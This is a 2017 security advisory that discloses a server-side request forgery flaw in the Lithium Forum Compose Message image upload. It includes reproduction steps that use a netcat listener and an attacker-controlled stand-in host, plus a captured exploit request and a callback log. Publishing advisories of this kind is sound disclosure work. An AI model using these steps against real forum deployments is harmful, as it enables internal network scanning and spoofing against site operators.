Lithium Forum Server-Side Request Forgery

`Document Title:  
===============  
Lithium Forum - (Compose Message) SSRF Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2030  
  
  
Release Date:  
=============  
2017-02-20  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2030  
  
  
Common Vulnerability Scoring System:  
====================================  
5.7  
  
  
Product & Service Introduction:  
===============================  
Lithium Technologies provides social customer experience management software for the enterprise. Headquartered in San Francisco,   
Lithium has additional offices in London, Austin, Paris, Sydney, Singapore, New York, and ZA1/4rich. Lithium was founded in 2001 as   
a spin-out from GX Media, which created technologies for professional rankings and tournaments and now hosts a number of popular   
gaming sites. The company`s founders include brothers Lyle Fong and Dennis Fong, who together also founded GX Media, as well as   
Kirk Yokomizo, John Joh, Nader Alizadeh, Michel Thouati, Michael Yang, and Matt Ayres. The company sells largely to enterprise   
customers, including HP, Best Buy, Research In Motion, Sony, Comcast, Symantec, and AT&T.  
  
(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/Lithium_Technologies )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a server side request forgery vulnerability in the official Lithium Forum online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-02-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Lithium Technologies  
Product: Lithium Forum - Web Application (API) 2017 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A server side request forgery vulnerability has been discovered in the official Lithium Forum online service web-application.  
The vulnerability allows remote attacker to scan the internal and external network, depending on the resultation time of the attack.  
  
The vulnerability is located in the official Community Compose Message function. The attack vector of the vulnerability is located   
on the application-side of the service and the request method to run is POST. The execution point is also the Compose Message functions.  
Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application like ebay,   
vodafone, att, paypal, microsoft, skype and sony.  
  
The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.7   
Exploitation of the ssrf web vulnerability requires a low privilege web application user account without user interaction.   
Successful exploitation of the vulnerability results in local/external portscan and possible mail spoofing over header redirection.  
  
Affected Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Lithium Forum - Community - Compose Message   
  
Vulnerable Parameter(s):  
[+] upload_url  
  
  
Proof of Concept (PoC):  
=======================  
The server side request forgery web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Register an lithium forum account and login to the web-application   
2. Open link "t5/notes/privatenotespage/tab/compose"  
3. click add images  
4. Open netcat on your attackers machine, and listen on port 1337  
5. Insert the following URL as Image: "http://your-host.com:1337/mypicture.jpg"  
6. After the submit, you will see a connection inside of your netcat application.  
7. Successful reproduce of the vulnerability!  
  
netcat logs:  
root@xxxxxxx:~# nc -l -v -p 1337  
listening on [any] 1337 ...  
Warning: forward host lookup failed for outbound.sj.lithium.com: Unknown host  
connect to [*********] from outbound.sj.lithium.com [***.**.***.253] 60592  
GET /mypicture.jpg HTTP/1.1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36  
Accept: image/webp,image/*,*/*  
Host: your-host.com:1337  
  
  
--- PoC Session Logs [POST] ---  
POST /api/2.0/images HTTP/1.1  
Host: *****  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0  
Accept: application/json, text/plain, */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/json  
Application-Identifier: DESKTOP  
Application-Version: 2.0.0  
Referer: https://*****/t5/notes/composepage/note-to-user-id/584604  
Content-Length: 158  
Cookie: *censored* LithiumUserInfo=9403260; LithiumUserSecure=9e27764c-7d10-48e2-80c4-70fc955d7432  
Connection: keep-alive  
{"data":{"upload_url":"http://my-host.top:1337/blablablda.jpg","title":"blablablda","description":"","visibility":"draft","album":{"id":"35418"},"type":"image"}}  
  
HTTP/1.1 500 Internal Server Error  
Date: Wed, 01 Feb 2017 09:24:14 GMT  
Server: Apache  
x-frame-options: SAMEORIGIN  
Content-Length: 152  
Connection: close  
Content-Type: application/json;charset=UTF-8  
  
  
Reference(s):  
http://community.[WEBSITE].com/  
http://community.[WEBSITE].com/t5/  
http://community.[WEBSITE].com/api/2.0/images  
http://community.[WEBSITE].com/t5/notes/privatenotespage/tab/compose   
  
  
  
Solution - Fix & Patch:  
=======================  
Disallow the usage of other protocols like http on server-side requests and change the validation type of the inputs.  
  
  
Security Risk:  
==============  
The security risk of the server side request forgery web vulnerability is estimated as medium. (CVSS 5.7)  
  
  
Credits & Authors:  
==================  
Vibhuti R V Nath - [[email protected]] (http://www.vulnerability-lab.com/show.php?user=VibhutiNath)  
  
  
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=========================  
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